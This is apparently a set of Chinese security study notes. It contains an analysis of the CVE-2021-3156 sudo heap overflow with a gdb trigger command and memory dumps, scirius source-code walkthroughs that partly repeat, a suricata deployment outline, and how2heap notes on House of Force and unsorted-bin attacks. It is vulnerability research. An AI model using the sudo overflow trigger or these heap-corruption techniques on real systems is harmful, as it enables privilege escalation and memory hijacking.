CVE-2021-3156
漏洞原理
如果sudo时添加了-s参数,则会调用到sudoers_policy_main()函数中的set_cmnd(),该函数会根据参数计算size并调用malloc申请size大小的堆空间user_args,然后判断是否设置了MODE_SHELL,如果是,则会连接命令行参数存入堆空间user_args。在这个函数中如果from[0]是反斜杠,from[1]则会满足以下条件
1
2
3if (from[0] == '\\' && !isspace((unsigned char)from[1]));
from++;
*to++ = *from++;此时from++,from指向null,而执行to++ = from++时指向反斜杠后面的第一个字符,这样导致原来应该拷贝反斜杠以及之前字符串的,现在拷贝了反斜扛后面的参数,那么导致之前计算的size大小不正确导致了溢出。
不过set_cmnd()函数触发前会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个,但是如果启用了MODE_SHELL,sudo在运行时main()函数会先调用parse_args(),该函数会连接所有命令行参数,并用反斜杠来编码所有元字符覆盖argv(即将\转义为\)。这会导致漏洞无法触发
所以我们使用sudoedit,因为如果使用 sudoedit,还是会利用软链接使用 sudo命令,而在 parse_args()函数中会自动设置 MODE_EDIT且不会重置 valid_flags(默认是含有MODE_SHELL的),而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。
漏洞验证
编译1
2
3
4
5
6
7
8
9
10
wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
tar xf sudo-SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1/
mkdir build
cd build/
../configure --enable-env-debug
make -j CFLAGS="-g -O0"
sudo make install
调试1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
pwndbg> b ../../../plugins/sudoers/sudoers.c:964
pwndbg> b ../../../plugins/sudoers/sudoers.c:978
pwndbg> r
In file: /ctf/work/sudo-SUDO_1_9_5p1/plugins/sudoers/sudoers.c
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
► 970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
pwndbg> p NewArgv[0]
$18 = 0x564580b0ee4e "sudoedit"
pwndbg> p NewArgv[1]
$19 = 0x7ffe19cd2536 "\\"
pwndbg> p NewArgv[2]
$20 = 0x7ffe19cd2538 "112233445566"
//处理NewArgv[1]时进入if (from[0] == '\\' && !isspace((unsigned char)from[1]))的判断语句,执行from++;*to++ = *from++;导致本来应该拷贝NewArgv[1],但是实际拷贝了NewArgv[2]
pwndbg> p to
$1 = 0x5648fc1bdac0 "\340\v1w3\177"
//预期应该拷贝NewArgv[1]和NewArgv[2],组成\ 112233445566,但是由于该漏洞NewArgv[2]被拷贝了两次
//user_args被覆盖前
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x00007fbc8f313100 0x00007fbc8f7fdbe0
0x56458187aad0: 0x0000000000000000 0x0000000000000c91
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000
//user_args被覆盖后
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x3433333232313100 0x3131203636353534
0x56458187aad0: 0x3535343433333232 0x0000000000203636
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000
可以看到下一个chunk的size被覆盖了。
漏洞利用
重写模块加载接口参数
1 | ``` |
根据以上信息我们可以得出一下结论
sudo_user.cmnd_args的地址(0x561f576e7be0)高于nss_group_database的地址(0x561f576daee0),所以cmnd_args溢出的话没法覆盖nss_group_database的地址
但是在qualys提供的exp思路里我们知道可以调用setlocale这个函数(设置LC_*环境变量)的方式来修改sudo的内存结构
1 | pwndbg> set env LC_ALL=en_US.UTF-8@xxxxxxxxxxxxx |
此时sudo_user.cmnd_args的地址低于nss_group_database的地址,可以利用溢出覆盖掉nss_group_database结构,我们再修改一下传入的参数试试
ref
https://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
https://www.anquanke.com/post/id/231420#h2-7
https://bbs.pediy.com/thread-265669.htm
https://bestwing.me/CVE-2021-3156-analysis..html
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
https://www.kalmarunionen.dk/writeups/sudo/
https://www.anquanke.com/post/id/231077
scirius源码分析
scirius
scirius介绍
scirius为suricata提供了一个web,用来管理规则以及处理告警,我们分析一下他是如何实现的。
先分析主目录的views.py
定义了重定向到kinaba、evebox、moloch的路由,没什么关键函数。我们主要关心的是hunt和manage。
rules
看一下rules目录下的views.py
访问manage页面,主要实现了两个功能
- suricata状态监控,配置
- rule管理
我们看一下是如何实现的?
抓包发现前端会不断请求以下路径
用来获取suricata状态的info路径对应函数如下
rules/views.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71PROBE = __import__(settings.RULESET_MIDDLEWARE)
def info(request):
data = {'status': 'green'}
if request.GET.__contains__('query'):
info = PROBE.common.Info()
query = request.GET.get('query', 'status')
if query == 'status':
data = {'running': info.status()}
elif query == 'disk':
data = info.disk()
elif query == 'memory':
data = info.memory()
elif query == 'used_memory':
data = info.used_memory()
elif query == 'cpu':
data = info.cpu()
return JsonResponse(data, safe=False)
#在settings.py里可以看到RULESET_MIDDLEWARE='suricata',所以PROBE相当于__import__(settings.suricata),动态加载了suricata。而suricata/common.py如下
import psutil
from rest_framework import serializers
from django.conf import settings
if settings.SURICATA_UNIX_SOCKET:
try:
import suricatasc
except:
settings.SURICATA_UNIX_SOCKET = None
class Info():
def status(self):
suri_running = 'danger'
# 判断suricata是否运行则有两种方式,如果配置了suricata_unix_socket则调用suricatasc并发送uptime来判断。
if settings.SURICATA_UNIX_SOCKET:
sc = suricatasc.SuricataSC(settings.SURICATA_UNIX_SOCKET)
try:
sc.connect()
except:
return 'danger'
res = sc.send_command('uptime', None)
if res['return'] == 'OK':
suri_running = 'success'
sc.close()
# 如果没有配置SURICATA_UNIX_SOCKET则调用psutil.process_iter()来判断是否存在Suricata-Main来实现
else:
for proc in psutil.process_iter():
try:
pinfo = proc.as_dict(attrs=['name'])
except psutil.NoSuchProcess:
pass
else:
if pinfo['name'] == 'Suricata-Main':
suri_running = 'success'
break
return suri_running
#可以看到该函数调用psutil获取cpu/disk/mem状态
def disk(self):
return psutil.disk_usage('/')
def memory(self):
return psutil.virtual_memory()
def used_memory(self):
mem = psutil.virtual_memory()
return round(mem.used * 100. / mem.total, 1)
def cpu(self):
return psutil.cpu_percent(interval=0.2)
suricatasc可以实时和suricata进程进行交互
接下来看一下核心功能之一-规则的管理,先大概了解一下功能
- /rules/source可以看到规则源
- /rules/source/add_public可以增加公共规则源
- /rules/source/add可以编辑自定义规则源
- /rules/ruleset/add可以新增规则集
- /rules/ruleset/n/update可以更新规则集
- /rules/ruleset/n/copy可以复制规则集
- /rules/ruleset/n/delete可以删除规则集
- /rules/ruleset/n/edit可以编辑规则集
- /rules/ruleset/1/edit?mode=sources可以启用/禁用source
- /rules/ruleset/1/edit?mode=categories可以启用/禁用categories
- /rules/ruleset/1/addsupprule可以禁用某条rule
- /rules/ruleset/1/edit?mode=rules可以恢复某条被禁用的rule
- /rules/category/n/可以查看category
- /rules/category/n/enable可以启用category
- /rules/category/n/disable可以禁用category
- /rules/category/n/transform
- /rules/rule/pk/n/可以查看rule的定义
- /rules/rule/pk/n/disable可以禁用rule
- /rules/rule/pk/n/enable可以启用rule
- /rules/rule/n/edit
- /rules/rule/n/disable
- /rules/rule/n/enable
- /rules/rule/n/threshold?action=threshold为规则增加触发的阀值
- /rules/rule/n/threshold?action=suppress过滤某ip触发改规则
页面如下
/rules/ruleset 列出ruleset规则集
/rules/ruleset页面代码如下
1 | # Create your views here. |
页面如下
/rules/source 列出规则源
/rules/source页面代码如下
1 | def sources(request): |
最后获取了Source.objects.all()
页面如下
/rules/source/add_public增加公共规则源
/rules/source/add_public页面代码及分析如下
1 | def add_public_source(request): |
add_public_source.html页面代码及分析如下
1 | <!-- 获取source.yaml里面的source和参数 --> |
import_and_add_source.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183<script>
$( 'document' ).ready(function() {
<!-- 如果update为true则调用update_activate_source -->
{% if update %}
{% if not rulesets %}
update_activate_source({{ source.pk }}, null);
{% else %}
update_activate_source({{ source.pk }}, [ {{ rulesets|join:"," }} ], [ {{ ruleset_list|safeseq|join:"," }} ])
{% endif %}
window.addEventListener("beforeunload", function (e) {
if (!warn_on_exit) {
return;
}
var confirmationMessage = "Warning, leaving page will interrupt source addition mechanism.";
e.returnValue = confirmationMessage; // Gecko, Trident, Chrome 34+
return confirmationMessage; // Gecko, WebKit, Chrome <34
});
{% endif %}
});
function activate_ruleset_from(src_pk, rulesets, ruleset_list, r_length)
{
if (rulesets.length == 0) {
$('#source_progress').width("100%");
$('#source_progress').addClass("progress-bar-success");
$('#source_progress').removeClass("progress-bar-danger");
$('#source_progress').text("Source fully activated.");
$('#init_details').append("<p><a href='{{ source.get_absolute_url }}'>See details of {{ source.name }} source.</a></p>");
warn_on_exit = false;
return;
}
ri = rulesets.pop()
ruleset = ruleset_list.pop()
warn_on_exit = true;
var tgturl = "/rules/source/" + src_pk + "/activate/" + ri;
$.ajax({
url: tgturl,
type: 'POST',
success: function(data) {
if (data == true) {
var progress = 80 + (r_length - rulesets.length) * 20 / rulesets.length;
$('#source_progress').width(progress + "%");
$('#source_progress').text("Source activated in " + ruleset + ".");
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span> Source activated in "' + ruleset + '"</p>');
activate_ruleset_from(src_pk, rulesets, ruleset_list, r_length);
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Could not activate source for '" + ruleset + "'.");
$('#init_details').append("<p class='text-danger'> <span class='glyphicon glyphicon-remove'></span> Could not activate source for '" + ruleset + "'.</p>");
warn_on_exit = false;
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable activate source in '" + ruleset + "'.");
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
}
});
}
function update_activate_source(src_pk, rulesets, ruleset_list)
{
var tgturl = "/rules/source/" + src_pk + "/update";
$('#source_progress').text("Updating source.");
<!-- 通过ajax访问"/rules/source/" + src_pk + "/update" -->
$.ajax({
type:"POST",
url: tgturl,
<!-- 如果后端返回的data['status']为true -->
success: function(data) {
if (data['status'] == true) {
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span></span> Source updated</p>');
$('#source_progress').width("70%");
<!-- 如果成功获取到规则文件,会调用test_source去判断是否可以正常加载且和其他规则匹配 -->
test_source(src_pk, rulesets, ruleset_list);
<!-- 否则定义error_action -->
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Could not test source.");
<!-- 把data['error']放到text-danger标签里 -->
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Error during source update: ' + data['errors'] + '</p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable to update source.");
var err_str = 'Error during source update';
if (data.statusText && data.statusText != 'error') {
err_str += ' (' + data.statusText + ')';
}
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"> ' + err_str + '</span> </p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
},
timeout: 240 * 1000
});
}
function test_source(src_pk, rulesets, ruleset_list)
{
var tgturl = "/rules/source/" + src_pk + "/test";
$('#source_progress').text("Testing source.");
$.ajax({
url: tgturl,
success: function(data) {
if (data['status'] == true) {
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span></span> Source is valid</p>');
$('#source_progress').width("80%");
if (! rulesets) {
rulesets = []
}
if ('warnings' in data && data['warnings'][0] != undefined) {
var warning_content = "";
for (i = 0; i < data['warnings'].length; i++) {
warning_content += '<li><span class="text-warning">' + data['warnings'][i]['message'] + '</span></li>';
}
$("#init_details").append('<p class="text-warning"> <span class="glyphicon glyphicon-ok"></span> Source test warnings: <ul>' + warning_content + '</ul></p>');
}
activate_ruleset_from(src_pk, rulesets, ruleset_list, rulesets.length)
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Source has errors.");
var error_content = "";
if (data['errors'][0] != undefined) {
for (i = 0; i < data['errors'].length; i++) {
error_content += '<li><span class="text-danger"><strong>' + data['errors'][i]['error'] + '</strong></span>: <span>' + data['errors'][i]['message'] + '</span></li>';
}
} else {
if (data['errors']['message'] != undefined) {
error_content = data['errors']['message'];
} else {
error_content = "Unknown error";
}
}
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Source test failure: <ul>' + error_content + '</ul></p>');
if ('warnings' in data && data['warnings'][0] != undefined) {
var warning_content = "";
for (i = 0; i < data['warnings'].length; i++) {
warning_content += '<li><span class="text-warning">' + data['warnings'][i]['message'] + '</span></li>';
}
$("#init_details").append('<p class="text-warning"> <span class="glyphicon glyphicon-ok"></span> Source test warnings: <ul>' + warning_content + '</ul></p>');
}
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <button class="btn btn-warning" id="continue" type="submit"> <span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button>';
$("#init_details").append('<div id="error_actions">' + error_actions + '</div>');
warn_on_exit = false;
$("#continue").click( function(event) {
$("#error_actions").slideUp();
if (! rulesets) {
rulesets = []
}
activate_ruleset_from(src_pk, rulesets, ruleset_list, rulesets.length)
});
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable to test source.");
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Error during source testing : ' + data.statusText + '</p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
},
timeout: 1200 * 1000
});
}
</script>
scirius源码分析
scirius
scirius介绍
scirius为suricata提供了一个web,用来管理规则以及处理告警,我们分析学习一下他的源代码。
先分析主目录的views.py
定义了重定向到kinaba、evebox、moloch的路由,没什么关键函数。我们主要关心的是hunt和manage。
rules
看一下rules目录下的views.py
访问manage页面,主要实现了两个功能
- suricata状态监控,配置
- rule管理
规则的管理,先大概了解一下功能
- /rules/source可以看到规则源
- /rules/source/add_public可以增加公共规则源
- /rules/source/add可以编辑自定义规则源
- /rules/ruleset/add可以新增规则集
- /rules/ruleset/n/update可以更新规则集
- /rules/ruleset/n/copy可以复制规则集
- /rules/ruleset/n/delete可以删除规则集
- /rules/ruleset/n/edit可以编辑规则集
- /rules/ruleset/1/edit?mode=sources可以启用/禁用source
- /rules/ruleset/1/edit?mode=categories可以启用/禁用categories
- /rules/ruleset/1/addsupprule可以禁用某条rule
- /rules/ruleset/1/edit?mode=rules可以恢复某条被禁用的rule
- /rules/category/n/可以查看category
- /rules/category/n/enable可以启用category
- /rules/category/n/disable可以禁用category
- /rules/category/n/transform
- /rules/rule/pk/n/可以查看rule的定义
- /rules/rule/pk/n/disable可以禁用rule
- /rules/rule/pk/n/enable可以启用rule
- /rules/rule/n/edit
- /rules/rule/n/disable
- /rules/rule/n/enable
- /rules/rule/n/threshold?action=threshold为规则增加触发的阀值
- /rules/rule/n/threshold?action=suppress过滤某ip触发改规则
页面如下
index
从数据库获取Ruleset和Source的list,但是在index.html没有用到这两个变量
search
将客户端请求中的search分别取Rule,Category,Ruleset中作查询,并将查询结果转换为tables对象,最后在search.html中利用load和render_tables将数据展示到前段
sources
获取所有的source并展示在前段页面
source
列出某一个source中所有的category
categories
调用utils.py中的scirius_listing((request, Category, assocfn)),而该函数不仅仅会返回Category还会返回assocfn,不知道这是用来干嘛的,先往下看
category
rules是public_source中启用的规则,commented_rules是public_source中默认注释掉的规则,rulesets_status则是category的action,lateral,target属性
elasticsearch
/rules/source/add_public增加公共规则源
/rules/source/add_public页面代码及分析如下
1 | def add_public_source(request): |
add_public_source.html页面代码及分析如下
1 | <!-- 获取source.yaml里面的source和参数 --> |
import_and_add_source.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67<script>
$( 'document' ).ready(function() {
<!-- 如果update为true则调用update_activate_source -->
{% if update %}
{% if not rulesets %}
update_activate_source({{ source.pk }}, null);
{% else %}
update_activate_source({{ source.pk }}, [ {{ rulesets|join:"," }} ], [ {{ ruleset_list|safeseq|join:"," }} ])
{% endif %}
window.addEventListener("beforeunload", function (e) {
if (!warn_on_exit) {
return;
}
var confirmationMessage = "Warning, leaving page will interrupt source addition mechanism.";
e.returnValue = confirmationMessage; // Gecko, Trident, Chrome 34+
return confirmationMessage; // Gecko, WebKit, Chrome <34
});
{% endif %}
});
function update_activate_source(src_pk, rulesets, ruleset_list)
{
var tgturl = "/rules/source/" + src_pk + "/update";
$('#source_progress').text("Updating source.");
<!-- 通过ajax访问"/rules/source/" + src_pk + "/update" -->
$.ajax({
type:"POST",
url: tgturl,
<!-- 如果后端返回的data['status']为true -->
success: function(data) {
if (data['status'] == true) {
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span></span> Source updated</p>');
$('#source_progress').width("70%");
<!-- 如果成功获取到规则文件,会调用test_source去判断是否可以正常加载且和其他规则匹配 -->
test_source(src_pk, rulesets, ruleset_list);
<!-- 否则定义error_action -->
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Could not test source.");
<!-- 把data['error']放到text-danger标签里 -->
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Error during source update: ' + data['errors'] + '</p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable to update source.");
var err_str = 'Error during source update';
if (data.statusText && data.statusText != 'error') {
err_str += ' (' + data.statusText + ')';
}
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"> ' + err_str + '</span> </p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
},
timeout: 240 * 1000
});
}
</script>
/rules/ruleset 列出ruleset规则集
页面如下
/rules/source 列出规则源
/rules/source页面代码如下
1 | def sources(request): |
最后效果是获取了Source.objects.all(),但是不太明白绕这么多绕?
页面如下
info
通过psutils获取系统状态1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71PROBE = __import__(settings.RULESET_MIDDLEWARE)
def info(request):
data = {'status': 'green'}
if request.GET.__contains__('query'):
info = PROBE.common.Info()
query = request.GET.get('query', 'status')
if query == 'status':
data = {'running': info.status()}
elif query == 'disk':
data = info.disk()
elif query == 'memory':
data = info.memory()
elif query == 'used_memory':
data = info.used_memory()
elif query == 'cpu':
data = info.cpu()
return JsonResponse(data, safe=False)
#在settings.py里可以看到RULESET_MIDDLEWARE='suricata',所以PROBE相当于__import__(settings.suricata),动态加载了suricata。而suricata/common.py如下
import psutil
from rest_framework import serializers
from django.conf import settings
if settings.SURICATA_UNIX_SOCKET:
try:
import suricatasc
except:
settings.SURICATA_UNIX_SOCKET = None
class Info():
def status(self):
suri_running = 'danger'
# 判断suricata是否运行则有两种方式,如果配置了suricata_unix_socket则调用suricatasc并发送uptime来判断。
if settings.SURICATA_UNIX_SOCKET:
sc = suricatasc.SuricataSC(settings.SURICATA_UNIX_SOCKET)
try:
sc.connect()
except:
return 'danger'
res = sc.send_command('uptime', None)
if res['return'] == 'OK':
suri_running = 'success'
sc.close()
# 如果没有配置SURICATA_UNIX_SOCKET则调用psutil.process_iter()来判断是否存在Suricata-Main来实现
else:
for proc in psutil.process_iter():
try:
pinfo = proc.as_dict(attrs=['name'])
except psutil.NoSuchProcess:
pass
else:
if pinfo['name'] == 'Suricata-Main':
suri_running = 'success'
break
return suri_running
#可以看到该函数调用psutil获取cpu/disk/mem状态
def disk(self):
return psutil.disk_usage('/')
def memory(self):
return psutil.virtual_memory()
def used_memory(self):
mem = psutil.virtual_memory()
return round(mem.used * 100. / mem.total, 1)
def cpu(self):
return psutil.cpu_percent(interval=0.2)
suricatasc可以实时和suricata进程进行交互
网络入侵检测suricata+scirius搭建.md
部署
配置PF_RING
1 | #安装pf_ring |
安装suricata
1 | wget https://www.openinfosecfoundation.org/download/suricata-6.0.1.tar.gz |
安装scirius
1 | apt install python python-dev |
配置suricata
1 | default-rule-path: /var/lib/suricata/rules |
使用scirius运维
1 | #访问web前端 |
scirius源码分析
部署ELK
1 | git clone https://github.com/deviantony/docker-elk |
ps:如果es加了授权认证,则scirius无法成功连上es,需要把es的x-pack关闭
参考
https://suricata.readthedocs.io/en/latest/install.html
https://xz.aliyun.com/t/7263
https://paper.seebug.org/1054/
https://github.com/orright/scirius/tree/master/doc
https://suricata.readthedocs.io/en/latest/quickstart.html
how2heap3
unsorted前置知识
基本原理
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
当进行 malloc_consolidate 时,如果不是和 top chunk 近邻的话,会把合并后的 chunk 放到 unsorted bin 中。
基本使用情况
Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
1、House_of_Force
利用原理
随便malloc一个chunk,然后通过溢出覆盖到top chunk的size为0xffffffffffffffff,这时候malloc一个很大size的chunk,即会使用top chunk来分配,因为top chunk 的位置加上这个大数,造成整数溢出结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),这时候再malloc一次,可以控制到堆之前的内存地址
利用代码
1 | #include <stdio.h> |
具体分析
intptr_t ptr_top = (intptr_t ) ((char *)p1 + real_size - sizeof(long));执行前后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32pwndbg> x/10gx 0x55555555b0f0
0x55555555b0c0: 0x0000000000000000 0x0000000000000000
0x55555555b0d0: 0x0000000000000000 0x0000000000000000
0x55555555b0e0: 0x0000000000000000 0x0000000000000000
0x55555555b0f0: 0x0000000000000000 0x0000000000000000
0x55555555b100: 0x0000000000000000 0x0000000000000000
0x55555555b110: 0x0000000000000000 0x0000000000020ef1
pwndbg> p ptr_top
$5 = (intptr_t *) 0x55555555b110
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x55555555b110
Size: 0x20ef1
//-------------------------------------------------------
pwndbg> x/10gx 0x55555555b0f0
0x55555555b0f0: 0x0000000000000000 0x0000000000000000
0x55555555b100: 0x0000000000000000 0x0000000000000000
0x55555555b110: 0x0000000000000000 0xffffffffffffffff
0x55555555b120: 0x0000000000000000 0x0000000000000000
0x55555555b130: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x55555555b110
Size: 0xffffffffffffffff此时top chunk已经被修改了,这时候call malloc 会得到大小为0xffffffffffffcef0 地址为0x55555555b000+0x120(0x111+0x10-1)的chunk,再次malloc(100) 则会得到大小为100,地址为0xffffffffffffcef0+0x55555555b110=0x10000555555558000(整数溢出,会去掉最高位的1)
1
2
3
4pwndbg> p ctr_chunk
$17 = (void *) 0x555555558020 <bss_var>
pwndbg> x/5s 0x555555558020
0x555555558020 <bss_var>: "This is a string that we want to overwrite."strcpy(ctr_chunk, “YEAH!!!”);这时往ctr_chunk赋值会发现bss_var被篡改
1
2pwndbg> x/5s 0x555555558020
0x555555558020 <bss_var>: "YEAH!!!"
Unsorted_Bin_Into_Stack
利用原理
有点像house_of_lore,house_of_lore伪造smallbin,而这次伪造unsorted_bin,再栈上构造一个chunk,free 一个chunk,修改 unsorted bin 里 chunk 的 bk 指针到任意地址。从而在栈上 malloc 出 chunk。
利用代码
1 | #include <stdio.h> |
具体分析
victim[-1] = 32;victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack执行前后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30pwndbg> x/20gx 0x55555555b240
0x55555555b240: 0x0000000000000000 0x0000000000000000
0x55555555b250: 0x0000000000000000 0x0000000000000421
0x55555555b260: 0x00007ffff7dd2ca0 0x00007ffff7dd2ca0
//------------------------------------
pwndbg> x/20gx 0x55555555b240
0x55555555b240: 0x0000000000000000 0x0000000000000000
0x55555555b250: 0x0000000000000000 0x0000000000000020
0x55555555b260: 0x00007ffff7dd2ca0 0x00007fffffffe0d0
pwndbg> x/20gx 0x00007fffffffe0d0
0x7fffffffe0d0: 0x0000000000000000 0x0000000000000110
0x7fffffffe0e0: 0x0000000000000000 0x00007fffffffe0d0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251
Free chunk (unsortedbin)
Addr: 0x55555555b250
Size: 0x20
fd: 0x7ffff7dd2ca0
bk: 0x7fffffffe0d0
Allocated chunk
Addr: 0x55555555b270
Size: 0x00
7fffffffe0d0此时再次malloc(100),由于伪造的unsorted chunk size正好是100,因此得到一个位于stack上的chunk,memcpy((p2+40), &sc, 8) p2+40位置是返回地址,将其覆盖为jackpot,最后程序就会执行jackpot,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中
1 | pwndbg> stack 30 |
3、Unsorted_Bin_Attack
利用原理
